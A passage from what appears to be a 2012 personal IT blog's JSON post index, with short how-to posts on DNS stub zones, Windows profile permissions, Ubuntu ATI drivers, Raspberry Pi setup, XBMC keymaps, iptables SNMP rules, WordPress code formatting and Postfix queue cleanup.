people.\u003c/p\u003e\n\u003cp\u003eBut if you don\u0026rsquo;t want to reinstall everything you can follow this steps to get a infected pc clean.\u003c/p\u003e","title":"Howto remove all kind of malware, rootkits, trojans and virusses"},{"content":"The difference between stub zone and secondary DNS zones\u0026hellip; It all relates to replication, efficiency and availability.\nThink of it like this: There are two cities, London and Manchester. London has 100 people, each with a book full of information (so 100 books in total). You are in Manchester and you want to be able to have access to the information in these \u0026ldquo;books\u0026rdquo;.\nThere are two ways to do this as follows: a) Another 100 people appear in London, they each make a copy of a book, and they each take their own car in order to drive to Manchester to meet you and give you the books. This causes a traffic jam due to the high number of people driving on the highway.\nThe above is secondary zone replication.\nb) Instead of the above, you received the address of the 100 people in London. You need information in one of the books. You decide to take your car, and you drive to the address. You found the information you need, and you drive back to Manchester.\nThis example is a stub zone.\nSo think about it for a second. In example A, the information is stored twice, both in London and Manchester, but the information requires a big highway to transport those 100 people, each in their individual cars, to your office in Manchester. Do you have a big enough highway to support this many people? In example B, you don\u0026rsquo;t need such a big highway because a massive number of people are not clogging the highway, each trying to bring a book to you, but instead you decide to go back to London to find the book you need.\nSo what do we gather from this? In example A, you need a large highway (lots of bandwidth) to get the books from London to Manchester. But once the information is in Manchester, you can very quickly find the book you need. In example B, you don\u0026rsquo;t need a large highway to find the book in London, but you do need a RELIABLE highway. If this highway is closed, how do you get the book? And remember, since the books are not in Manchester, it will take longer for you to get the book (since you need to drive back and forth for it).\nHope this helps, first thing that came to my mind.\nThanks to Shinigami\n","permalink":"https://blog.wapnet.nl/2012/08/stub-zone-easy-explained/","summary":"\u003cp\u003eThe difference between stub zone and secondary DNS zones\u0026hellip;  It all relates to replication, efficiency and availability.\u003c/p\u003e\n\u003cp\u003eThink of it like this:\nThere are two cities, London and Manchester.\nLondon has 100 people, each with a book full of information (so 100 books in total).\nYou are in Manchester and you want to be able to have access to the information in these \u0026ldquo;books\u0026rdquo;.\u003c/p\u003e\n\u003cp\u003eThere are two ways to do this as follows:\na) Another 100 people appear in London, they each make a copy of a book, and they each take their own car in order to drive to Manchester to meet you and give you the books. This causes a traffic jam due to the high number of people driving on the highway.\u003c/p\u003e","title":"Stub zone easy explained"},{"content":"By default the Roaming profile is only accessible for the owner (end-user) and the system account. I found a post on the internet with a workaround to access the profile without problems to the end user.\nUsing two tools, the first is SubInAcl.exe available from Microsoft (download), and the second is cacls.exe which you should already have by default in Windows.\nThese first two commands will give the local administrators group ownership of the user’s folder and everything underneath. NOTE: This will not change any existing permissions.\nSubInAcl /subdirectories D:\\Profile\\User.Name /setowner=Administrators SubInAcl /subdirectories D:\\Profile\\User.Name\\*.* /setowner=Administrators This second command will give the local administrators group full access to the user’s foldercacls\nD:\\Profile\\User.Name /T /E /C /G Administrators:F Source Article\n","permalink":"https://blog.wapnet.nl/2012/08/access-denied-roaming-profile/","summary":"\u003cp\u003eBy default the Roaming profile is only accessible for the owner (end-user) and the system account. I found a post on the internet with a workaround to access the profile without problems to the end user.\u003c/p\u003e\n\u003cp\u003eUsing two tools, the first is \u003cstrong\u003eSubInAcl.exe\u003c/strong\u003e available from \u003ca href=\"http://www.microsoft.com/downloads/details.aspx?FamilyID=E8BA3E56-D8FE-4A91-93CF-ED6985E3927B\"\u003eMicrosoft (download)\u003c/a\u003e, and the second is \u003cstrong\u003ecacls.exe\u003c/strong\u003e which you should already have by default in Windows.\u003c/p\u003e\n\u003cp\u003eThese first two commands will give the local administrators group ownership of the user’s folder and everything underneath. NOTE: This will not change any existing permissions.\u003c/p\u003e","title":"Access Denied Roaming Profile"},{"content":"Maybe it\u0026rsquo;s a illusion but if every one use a mail SPF DNS record and everyone will bounce or filter domains without a SPF the internet is spam free :-)\nMicrosoft has a nice wizard to create a SPF for your own domain: http://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/\n","permalink":"https://blog.wapnet.nl/2012/08/spam-free-internet/","summary":"\u003cp\u003eMaybe it\u0026rsquo;s a illusion but if every one use a mail SPF DNS record and everyone will bounce or filter domains without a SPF the internet is spam free :-)\u003c/p\u003e\n\u003cp\u003eMicrosoft has a nice wizard to create a SPF for your own domain: \u003ca href=\"http://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/\"\u003ehttp://www.microsoft.com/mscorp/safety/content/technologies/senderid/wizard/\u003c/a\u003e\u003c/p\u003e","title":"Spam free internet"},{"content":"Today I had this problem for the second time. Last time it cost me 3 hours to find the solution. Now I find your article and I fixed it in 30 minutes :)\nMy Exact error was (summary.txt): MSP Error: 29528 The setup has encountered an unexpected error while Setting Internal Properties. The error is: Fatal error during installation.\nThe workaround resolution involves the following steps:\nFor a stand-alone installation of SQL Server 2005\nRemove the following registry subkeys that store SID settings: HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\MSSQL. X\\Setup\\SQLGroup\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\MSSQL. X\\Setup\\AGTGroup\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\MSSQL. X\\Setup\\FTSGroup\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\MSSQL. X\\Setup\\ASGroup\nNote In these registry subkeys, MSSQL. X is a placeholder for the corresponding value on a specific system. You can determine MSSQL. X on a specific system by examining the value of the MSSQLSERVER registry entry under the following registry subkey:\nReinstall the SQL Server 2005 service pack or the SQL Server 2005 hotfix package. For some reason, the local SIDs had been changed or removed or something and SQL just needed to figure out what was going on.\nHKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Microsoft SQL Server\\Instance Names\\SQL\\\nOfficial source: http://www.conetrix.com/Blog/post/Error-29528-When-Installing-SQL-Server-Hotfix.aspx\n","permalink":"https://blog.wapnet.nl/2012/08/error-29528-when-installing-sql-service-pack-4/","summary":"\u003cp\u003eToday I had this problem for the second time. Last time it cost me 3 hours to find the solution. Now I find your article and I fixed it in 30 minutes :)\u003c/p\u003e\n\u003cp\u003eMy Exact error was (summary.txt):\nMSP Error: 29528  The setup has encountered an unexpected error while Setting Internal Properties. The error is: Fatal error during installation.\u003c/p\u003e\n\u003cp\u003eThe workaround resolution involves the following steps:\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eFor a stand-alone installation of SQL Server 2005\u003c/strong\u003e\u003c/p\u003e","title":"Error 29528 When Installing SQL Service Pack 4"},{"content":"nano ~/.bashrc Remove the # or add a new line:\nforce_color_prompt=yes ","permalink":"https://blog.wapnet.nl/2012/07/enable-colors-linux-terminal/","summary":"\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003enano ~/.bashrc\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eRemove the # or add a new line:\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003eforce_color_prompt=yes\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e","title":"Enable Colors Linux Terminal"},{"content":" First, check the software sources, then paste this command into the terminal: sudo apt-get install build-essential cdbs dh-make dkms execstack dh-modaliases fakeroot If you have a 64 bit system, do this step: sudo apt-get install ia32-libs-multiarch:i386 lib32gcc1 libc6-i386 cd /usr sudo ln -svT lib /usr/lib64 Paste these commands into the terminal to create a new folder and download your driver: cd ~/ mkdir catalyst12.4 cd catalyst12.4/ wget http://www2.ati.com/drivers/linux/amd-driver-installer-12-4-x86.x86_64.run chmod +x amd-driver-installer-12-4-x86.x86_64.run 4-A) IF you have Intel HD graphics AND discrete ATI GPU, then do this(and reboot):\nsudo ./amd-driver-installer-12-4-x86.x86_64.run 4-B) IF you have just the ATI Graphics card, then do this (like in video), it WILL take a while:\nsh amd-driver-installer-12-4-x86.x86_64.run --buildpkg Ubuntu/precise sudo dpkg -i fglrx*.deb 5)Overwrite the /etc/X11/xorg.conf file(anyway):\nsudo amdconfig --initial -f Force the use of the new xorg.conf file: sudo amdconfig --input=/etc/X11/xorg.conf --tls=1 7)Reboot the computer, to verify your installation, follow the 8th step, otherwise you\u0026rsquo;re Done.\nTo verify your installation, in terminal type: fglrxinfo OPTIONAL - you can try this for fun, in terminal type: fgl_glxgears Original source: http://www.youtube.com/watch?v=52JRCddtZLk\n","permalink":"https://blog.wapnet.nl/2012/07/ubuntu-12-04-install-ati-videodrivers/","summary":"\u003col\u003e\n\u003cli\u003eFirst, check the software sources, then paste this command into the terminal:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt-get install build-essential cdbs dh-make dkms execstack dh-modaliases fakeroot\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"2\"\u003e\n\u003cli\u003eIf you have a 64 bit system, do this step:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo apt-get install ia32-libs-multiarch:i386 lib32gcc1 libc6-i386\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd /usr\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003esudo ln -svT lib /usr/lib64\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003ePaste these commands into the terminal to create a new folder and download your driver:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-fallback\" data-lang=\"fallback\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd ~/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003emkdir catalyst12.4\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ecd catalyst12.4/\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003ewget http://www2.ati.com/drivers/linux/amd-driver-installer-12-4-x86.x86_64.run\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003echmod +x amd-driver-installer-12-4-x86.x86_64.run\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e4-A) IF you have Intel HD graphics AND discrete ATI GPU, then do this(and reboot):\u003c/p\u003e","title":"[Ubuntu 12.04] Install ATI Video Drivers"},{"content":"This week I have my new toy. A raspberry PI :-)\nI will post in this article nice articles you definitely needed when you have a Raspberry also.\nExtra hardware you need: SD Card, USB Keyboard, HDMI Cable, USB Wifi module/Ethernet Connection, Phone Charger with micro USB connection Recommended Linux Distribution: Raspbian \u0026ldquo;Wheezy\u0026rdquo; @ http://www.raspberrypi.org/downloads Installation : http://elinux.org/RPi_Easy_SD_Card_Setup Audio: http://elinux.org/R-Pi_Troubleshooting#Sound Alsa fix: http://www.raspberrypi.org/phpBB3/viewtopic.php?f=66\u0026amp;t=7107 Wifi: http://www.raspberrypi-tutorials.co.uk/set-raspberry-pi-wireless-network/ Wifi Tip: to get a nice WPA script type the following: #wpa_passphrase ssidname ssidpassword Which board do you have: http://elinux.org/RaspberryPi_Boards\n","permalink":"https://blog.wapnet.nl/2012/07/raspberry-pi-beginner-tips/","summary":"\u003cp\u003eThis week I have my new toy. A raspberry PI :-)\u003c/p\u003e\n\u003cp\u003eI will post in this article nice articles you definitely needed when you have a Raspberry also.\u003c/p\u003e\n\u003cp\u003eExtra hardware you need: \u003cstrong\u003eSD Card\u003c/strong\u003e, \u003cstrong\u003eUSB Keyboard\u003c/strong\u003e, \u003cstrong\u003eHDMI Cable\u003c/strong\u003e, \u003cstrong\u003eUSB Wifi module/Ethernet Connection\u003c/strong\u003e, \u003cstrong\u003ePhone Charger\u003c/strong\u003e with \u003cstrong\u003emicro USB\u003c/strong\u003e connection\nRecommended Linux Distribution: Raspbian \u0026ldquo;Wheezy\u0026rdquo; @ \u003ca href=\"http://www.raspberrypi.org/downloads\"\u003ehttp://www.raspberrypi.org/downloads\u003c/a\u003e Installation : \u003ca href=\"http://elinux.org/RPi_Easy_SD_Card_Setup\"\u003ehttp://elinux.org/RPi_Easy_SD_Card_Setup\u003c/a\u003e\nAudio: \u003ca href=\"http://elinux.org/R-Pi_Troubleshooting#Sound\"\u003ehttp://elinux.org/R-Pi_Troubleshooting#Sound\u003c/a\u003e\nAlsa fix: \u003ca href=\"http://www.raspberrypi.org/phpBB3/viewtopic.php?f=66\u0026amp;t=7107\"\u003ehttp://www.raspberrypi.org/phpBB3/viewtopic.php?f=66\u0026amp;t=7107\u003c/a\u003e\nWifi: \u003ca href=\"http://www.raspberrypi-tutorials.co.uk/set-raspberry-pi-wireless-network/\"\u003ehttp://www.raspberrypi-tutorials.co.uk/set-raspberry-pi-wireless-network/\u003c/a\u003e Wifi Tip: to get a nice WPA script type the following: #wpa_passphrase \u003cem\u003essidname ssidpassword\u003c/em\u003e\nWhich board do you have: \u003ca href=\"http://elinux.org/RaspberryPi_Boards\"\u003ehttp://elinux.org/RaspberryPi_Boards\u003c/a\u003e\u003c/p\u003e","title":"Raspberry PI Beginner Tips"},{"content":"#dpkg-reconfigure locales\nNow select you locale (for NL choose nl_NL.UTF8). Then select a default (or none for default system locale).\nIf you use the locale for apache restart your apache\n#/etc/init.d/apache2 restart\nNow you can define your locate trough you php config files.\nMore info: http://wiki.debian.org/Locale\n","permalink":"https://blog.wapnet.nl/2012/06/linux-debian-install-additional-locales/","summary":"\u003cp\u003e\u003ccode\u003e#dpkg-reconfigure locales\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eNow select you locale (for NL choose nl_NL.UTF8).\nThen select a default (or none for default system locale).\u003c/p\u003e\n\u003cp\u003eIf you use the locale for apache restart your apache\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003e#/etc/init.d/apache2 restart\u003c/code\u003e\u003c/p\u003e\n\u003cp\u003eNow you can define your locate trough you php config files.\u003c/p\u003e\n\u003cp\u003eMore info: \u003ca href=\"http://wiki.debian.org/Locale\"\u003ehttp://wiki.debian.org/Locale\u003c/a\u003e\u003c/p\u003e","title":"[Linux] Debian install additional locales"},{"content":"With my Logitech Harmony 300 I didn\u0026rsquo;t have the ContextMenu (right click or c keyboard) option. This action is essential when you want to change some movie information. If I use my XBMC Android app I had the title (= ContextMenu) option so I thought that it must be possible do the same with my logitech harmony. After some searching and debugging I find a solution.\nThe steps:\nlogin to your xbmc with ssh xbmc@IPXBMC cp /usr/share/xbmc/system/keymaps/keyboard.xml /home/xbmc/.xbmc/userdata/keymaps/keyboard.xml(never hack the original file, that can be overwritten when you do an update) nano /home/xbmc/.xbmc/userdata/keymaps/keyboard.xml Add this line between the other keyboard shurtcuts ContextMenu Save the file (CTRL + W) and restart your xbmc to reload the keyboard.xml config Now you can login to the www.myharmony.com website and configure the asterisk (*) key to the List button on your remote. Sync your remote with an USB key and your ContextMenu option is ready for use :)\nIf you have some trouble finding out which buttons you can use, the best way is enabling the debugging option in your XBMC. Go to the system settings of your XBMC and enable debugging mode. Then make a ssh connection to your XBMC and type tail -f /home/xbmc/.xbmc/temp/xbmc.log to see realtime output.\nIf you send some remote (IR) actions you can capture the output and if you want to change the action you can edit the keyboard.xml.\nIf this helps you please leave a comment. Happy hacking :D\n","permalink":"https://blog.wapnet.nl/2012/06/xbmc-xbmcbuntu-contextmenu-option-logitech-harmony/","summary":"\u003cp\u003eWith my Logitech Harmony 300 I didn\u0026rsquo;t have the ContextMenu \u003cem\u003e(right click\u003c/em\u003e or \u003cem\u003ec keyboard)\u003c/em\u003e option. This action is essential when you want to change some movie information. If I use my XBMC Android app I had the title (= ContextMenu) option so I thought that it must be possible do the same with my logitech harmony. After some searching and debugging I find a solution.\u003c/p\u003e\n\u003cp\u003eThe steps:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003elogin to your xbmc with \u003cstrong\u003essh xbmc@IPXBMC\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ecp /usr/share/xbmc/system/keymaps/keyboard.xml /home/xbmc/.xbmc/userdata/keymaps/keyboard.xml\u003c/strong\u003e(never hack the original file, that can be overwritten when you do an update)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003enano\u003c/strong\u003e \u003cstrong\u003e/home/xbmc/.xbmc/userdata/keymaps/keyboard.xml\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eAdd this line between the other keyboard shurtcuts \u003cstrong\u003e\u003casterisk\u003eContextMenu\u003c/asterisk\u003e\u003c/strong\u003e\u003c/li\u003e\n\u003cli\u003eSave the file (CTRL + W) and restart your xbmc to reload the keyboard.xml config\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e\u003ca href=\"/wp-content/uploads/2012/06/remote.png\"\u003e\u003cimg loading=\"lazy\" src=\"/wp-content/uploads/2012/06/remote.png\"\u003e\u003c/a\u003e\u003c/p\u003e","title":"XBMC (XBMCBuntu) ContextMenu option Logitech Harmony"},{"content":"See bold lines (192.168.1.9/32 is my monitor): nano /etc/sysconfig/iptables\n# Generated by iptables-save v1.4.7 on Thu Jun 14 14:51:55 2012 *filter :INPUT ACCEPT [0:0] :FORWARD ACCEPT [0:0] :OUTPUT ACCEPT [1842:173072] -A INPUT -m state \u0026ndash;state RELATED,ESTABLISHED -j ACCEPT -A INPUT -p icmp -j ACCEPT -A INPUT -i lo -j ACCEPT -A INPUT -p tcp -m state \u0026ndash;state NEW -m tcp \u0026ndash;dport 22 -j ACCEPT -A INPUT -p udp -m udp -s 192.168.1.9/32 \u0026ndash;dport 161:162 -j ACCEPT -A INPUT -j REJECT \u0026ndash;reject-with icmp-host-prohibited -A FORWARD -j REJECT \u0026ndash;reject-with icmp-host-prohibited COMMIT # Completed on Thu Jun 14 14:51:55 2012\nservice iptables restart\n","permalink":"https://blog.wapnet.nl/2012/06/iptables-snmp/","summary":"\u003cp\u003e\u003cstrong\u003eSee bold lines (192.168.1.9/32 is my monitor):\u003c/strong\u003e \u003cstrong\u003enano /etc/sysconfig/iptables\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003e# Generated by iptables-save v1.4.7 on Thu Jun 14 14:51:55 2012\n*filter\n:INPUT ACCEPT [0:0]\n:FORWARD ACCEPT [0:0]\n:OUTPUT ACCEPT [1842:173072]\n-A INPUT -m state \u0026ndash;state RELATED,ESTABLISHED -j ACCEPT\n-A INPUT -p icmp -j ACCEPT\n-A INPUT -i lo -j ACCEPT\n-A INPUT -p tcp -m state \u0026ndash;state NEW -m tcp \u0026ndash;dport 22 -j ACCEPT\n\u003cstrong\u003e-A INPUT -p udp -m udp -s 192.168.1.9/32 \u0026ndash;dport 161:162 -j ACCEPT\u003c/strong\u003e\n-A INPUT -j REJECT \u0026ndash;reject-with icmp-host-prohibited\n-A FORWARD -j REJECT \u0026ndash;reject-with icmp-host-prohibited\nCOMMIT\n# Completed on Thu Jun 14 14:51:55 2012\u003c/p\u003e","title":"IPTables SNMP"},{"content":" Start a FTP program and connect to your wordpress website Locate your funtions.php (wp-content\\themes\\theme_name\\functions.php) Edit the file and put the following code in your functions.php file: function showads() { return \u0026#39; \u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt;\u0026lt;!-- google_ad_client = \u0026#34;ca-pub-3134535021136249\u0026#34;; google_ad_slot = \u0026#34;3483719222\u0026#34;; google_ad_width = 468; google_ad_height = 60; // --\u0026gt; \u0026lt;/script\u0026gt; \u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://pagead2.googlesyndication.com/pagead/show_ads.js\u0026#34;\u0026gt; \u0026lt;/script\u0026gt; \u0026#39;;} add_shortcode(\u0026#39;banner\u0026#39;, \u0026#39;showads\u0026#39;); Modify the client, slot, width and height values Safe the file and overwrite the current Now you can use the [banner] tag in your post to publish the banner:\n[banner]\n","permalink":"https://blog.wapnet.nl/2012/05/add-an-adsense-banner-to-your-wordpess-site-without-plugin/","summary":"\u003col\u003e\n\u003cli\u003eStart a FTP program and connect to your wordpress website\u003c/li\u003e\n\u003cli\u003eLocate your funtions.php (wp-content\\themes\\theme_name\\functions.php)\u003c/li\u003e\n\u003cli\u003eEdit the file and put the following code in your functions.php file:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-javascript\" data-lang=\"javascript\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003efunction\u003c/span\u003e \u003cspan style=\"color:#a6e22e\"\u003eshowads\u003c/span\u003e() {\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#66d9ef\"\u003ereturn\u003c/span\u003e \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026lt;script type=\u0026#34;text/javascript\u0026#34;\u0026gt;\u0026lt;!--\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003egoogle_ad_client = \u0026#34;ca-pub-3134535021136249\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003egoogle_ad_slot = \u0026#34;3483719222\u0026#34;;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003egoogle_ad_width = 468; google_ad_height = 60;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e// --\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026lt;/script\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026lt;script type=\u0026#34;text/javascript\u0026#34; src=\u0026#34;http://pagead2.googlesyndication.com/pagead/show_ads.js\u0026#34;\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026lt;/script\u0026gt;\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;\u003c/span\u003e;}\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e\u003cspan style=\"color:#a6e22e\"\u003eadd_shortcode\u003c/span\u003e(\u003cspan style=\"color:#e6db74\"\u003e\u0026#39;banner\u0026#39;\u003c/span\u003e, \u003cspan style=\"color:#e6db74\"\u003e\u0026#39;showads\u0026#39;\u003c/span\u003e);\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col\u003e\n\u003cli\u003eModify the client, slot, width and height values\u003c/li\u003e\n\u003cli\u003eSafe the file and overwrite the current\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003eNow you can use the \u003cstrong\u003e[banner]\u003c/strong\u003e tag in your post to publish the banner:\u003c/p\u003e","title":"Add an Adsense banner to your wordpess site without plugin"},{"content":"Today I found a very nice cross platform Paint.NET program clone with the name Pinta.\nNow I can edit images on every platform (OSX, Linux \u0026amp; Windows) and use always the same interface and hotkeys for the few times a year I need a simple paint prgram.\nWhen you install the software under windows do not forget to install the \u0026ldquo;Gtk# for Windows\u0026rdquo;. Without the GTK the program don\u0026rsquo;t start and don\u0026rsquo;t give any error.\nYou can find the software here: http://pinta-project.com/ ","permalink":"https://blog.wapnet.nl/2012/05/pinta-crossplatform-paint-net-alternative/","summary":"\u003cp\u003eToday I found a very nice cross platform Paint.NET program clone with the name Pinta.\u003c/p\u003e\n\u003cp\u003eNow I can edit images on every platform (OSX, Linux \u0026amp; Windows) and use always the same interface and hotkeys for the few times a year I need a simple paint prgram.\u003c/p\u003e\n\u003cp\u003eWhen you install the software under windows do not forget to install the \u0026ldquo;\u003ca href=\"http://ftp.novell.com/pub/mono/gtk-sharp/gtk-sharp-2.12.9-2.win32.msi\"\u003eGtk# for Windows\u003c/a\u003e\u0026rdquo;. Without the GTK the program don\u0026rsquo;t start and don\u0026rsquo;t give any error.\u003c/p\u003e","title":"[Pinta] Crossplatform Paint.NET alternative"},{"content":"[banner]\nSometimes you want to put code in your wordpress blog. The beste way to write code is switch to switch to HTML and put the and tags to your post.\nExample with :\nmailq | tail -n +2 | grep -v '^ *(' | awk 'BEGIN { RS = \u0026quot;\u0026quot; } { if ($7 == \u0026quot;user@example.com\u0026quot;) print $1 } ' | tr -d '*!' | postsuper -d -\nExample withoute :\nmailq | tail -n +2 | grep -v \u0026lsquo;^ *(\u0026rsquo; | awk \u0026lsquo;BEGIN { RS = \u0026quot;\u0026quot; } { if ($7 == \u0026ldquo;user@example.com\u0026rdquo;) print $1 } \u0026rsquo; | tr -d \u0026lsquo;*!\u0026rsquo; | postsuper -d -\nYou will see that some characters won\u0026rsquo;t display correctly if you don\u0026rsquo;t use the code tag.\nAnother/better way to publish code is using the \u0026ldquo;SyntaxHighlighter Evolved\u0026rdquo; plugin.\nExample:\nmailq | tail -n +2 | grep -v \u0026#39;^ *(\u0026#39; | awk \u0026#39;BEGIN { RS = \u0026#34;\u0026#34; } { if ($7 == \u0026#34;user@example.com\u0026#34;) print $1 } \u0026#39; | tr -d \u0026#39;*!\u0026#39; | postsuper -d - And if you need special characters in your post try these:\n\u0026lt; = \u0026amp;lt; \u0026gt; = \u0026amp;gt; / = \u0026amp;#47; ] = \u0026amp;#93; [ = \u0026amp;#91; \u0026#34; = \u0026amp;#34; \u0026#39; = \u0026amp;#39; And if you want to use a code language try these\nyour code here The following languages are supported:\nactionscript3 bash clojure coldfusion cpp csharp css delphi erlang fsharp diff groovy html javascript java javafx matlab (keywords only) objc perl php text powershell python r ruby scala sql vb xml\nSQL script Example:\nUSE database; SELECT * FROM Persons WHERE City=\u0026#39;Sandnes\u0026#39; Last but not least. DO NOT USE THE VISUAL VIEW :) Visual will scramble your code.\n[banner]\n","permalink":"https://blog.wapnet.nl/2012/04/write-code-in-your-wordpress-page/","summary":"\u003cp\u003e[banner]\u003c/p\u003e\n\u003cp\u003eSometimes you want to put code in your wordpress blog. The beste way to write code is switch to switch to HTML and put the \u003ccode\u003e and \u003c/code\u003e tags to your post.\u003c/p\u003e\n\u003cp\u003eExample with \u003ccode\u003e:\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003ccode\u003emailq | tail -n +2 | grep -v '^ *(' | awk  'BEGIN { RS = \u0026quot;\u0026quot; } { if ($7 == \u0026quot;user@example.com\u0026quot;) print $1 } ' | tr -d '*!' | postsuper -d -\u003c/code\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003eExample withoute \u003ccode\u003e:\u003c/p\u003e","title":"Write code in your wordpress page"},{"content":"The old command won\u0026rsquo;t work anymore on my ubuntu server because of the error: tail: cannot open `+2\u0026rsquo; for reading: No such file or directory OLD Command:\n`\nmailq | tail +2 | grep -v \u0026lsquo;^ (\u0026rsquo; | awk \u0026lsquo;BEGIN { RS = \u0026quot;\u0026quot; } { if ($8 == \u0026ldquo;user@example.com\u0026rdquo; \u0026amp;\u0026amp; $9 == \u0026ldquo;\u0026quot;) print $1 } \u0026rsquo; | tr -d \u0026lsquo;!\u0026rsquo; | postsuper -d - `\nNEW Command:\n`\nmailq | tail -n +2 | grep -v \u0026lsquo;^ (\u0026rsquo; | awk 